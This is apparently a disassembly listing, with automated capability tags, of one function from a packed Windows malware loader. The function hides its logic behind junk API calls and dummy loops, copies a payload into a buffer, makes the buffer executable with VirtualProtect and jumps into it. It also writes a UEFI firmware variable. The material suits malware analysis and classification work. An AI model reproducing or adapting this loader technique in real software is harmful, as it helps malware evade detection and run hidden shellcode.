Function at 0x40b000
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get geographical location
Get hostname
Set current directory
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40e61b
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x105c
call fcn.004097c0
mov eax, dword [0x43a030]
xor eax, esp
mov dword [esp + 0x1058], eax
push ebx
push esi
push edi
mov eax, dword [0x43a030]
xor eax, esp
push eax
lea eax, [esp + 0x1070]
mov dword fs:[0], eax
mov edx, dword [0x2c1a55c]
cmp edx, 0x7c
jne 0x40b0a3
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
lea edx, [esp + 0x68]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [0x2c1a55c], 0x2d
jne 0x40b092
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push ebx
call fcn.0040136a
mov edx, dword [0x2c1a55c]
add esp, 4
jmp 0x40b0a5
xor ebx, ebx
mov ecx, dword [0x43bd74]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
cmp eax, 0x1c3
jne 0x40b0c2
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x40b0d6
mov dword [0x43cd10], edi
mov dword [0x43cd14], esi
inc eax
cmp eax, 0xb9fa618
jl 0x40b0b5
mov edi, dword [sym.imp.KERNEL32.dll_IsValidLocale]
mov dword [0x2c1a55c], edx
xor esi, esi
lea esp, [esp]
cmp esi, 0x562d05
jne 0x40b102
mov eax, dword [0x43af58]
mov dword [0x2c1a560], eax
cmp edx, 0x3c
jne 0x40b111
push ebx
push ebx
call edi
mov edx, dword [0x2c1a55c]
inc esi
cmp esi, 0x5f6c74
jl 0x40b0f0
cmp edx, 0x110a
jne 0x40b1ed
push ebx
mov dword [0x2c1a428], ebx
mov dword [0x2c1a42c], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push str.Hahi_bujo_xaxiwihufo_gudoj_tecova
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea eax, [esp + 0x3c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
push ebx
call fcn.00401295
add esp, 4
push ebx
call fcn.00401295
add esp, 4
push 0x30
push 0x4380dc
push str._s__c
push 0x43cc88
call fcn.00401078
push 4
call fcn.00401724
add esp, 0x14
cmp eax, ebx
je 0x40b1b3
lea ecx, [esp + 0x1c]
mov dword [eax], ecx
jmp 0x40b1b5
xor eax, eax
mov dword [esp + 0x1c], eax
push ebx
push ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
call fcn.00401206
push ebx
call fcn.00401295
add esp, 0xc
push 0x4380dc
push 0x43cc88
call fcn.00401078
add esp, 8
push ebx
call fcn.00401671
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, dword [0x2c1a55c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2c1a280], eax
cmp dword [0x2c1a55c], ebx
jbe 0x40b264
mov edi, dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
jmp 0x40b220
mov eax, dword [0x2c1a560]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dl, byte [ecx + esi]
mov eax, dword [0x2c1a280]
mov byte [eax + esi], dl
cmp dword [0x2c1a55c], 0x5ab
jne 0x40b25b
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.Koyukajuromec_remavizajon_menurofehejes_tesabixedul_liticewocopola
call edi
inc esi
cmp esi, dword [0x2c1a55c]
jb 0x40b220
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x2c1a55c]
mov eax, dword [0x2c1a280]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0040af50
add dword [0x2c1a280], 0
mov ebx, dword [esp + 0x44]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
push 0
lea ecx, [esp + 0x868]
push ecx
push 0
call edi
cmp esi, 0x1a01e
jle 0x40b2c2
cmp ebx, 0xf5bed7
jne 0x40b2cb
inc esi
cmp esi, 0x1ece7a52
jl 0x40b2a4
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [esp + 0x10], 0x1e4165
mov ebx, 0x8e46a6f0
cmp dword [0x2c1a55c], 0xcc1
jne 0x40b300
push 0
push 0
push str.Mehop
push str.Wexi_wafezohagir_nejuremayebu_nudagociboj
call esi
cmp dword [0x2c1a55c], 0x7c4
mov dword [0x2c1a284], ebx
jne 0x40b314
call edi
sub dword [esp + 0x10], 1
jne 0x40b2e4
mov ecx, dword [esp + 0x1070]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1058]
xor ecx, esp
call fcn.00401069
mov esp, ebp
pop ebp
ret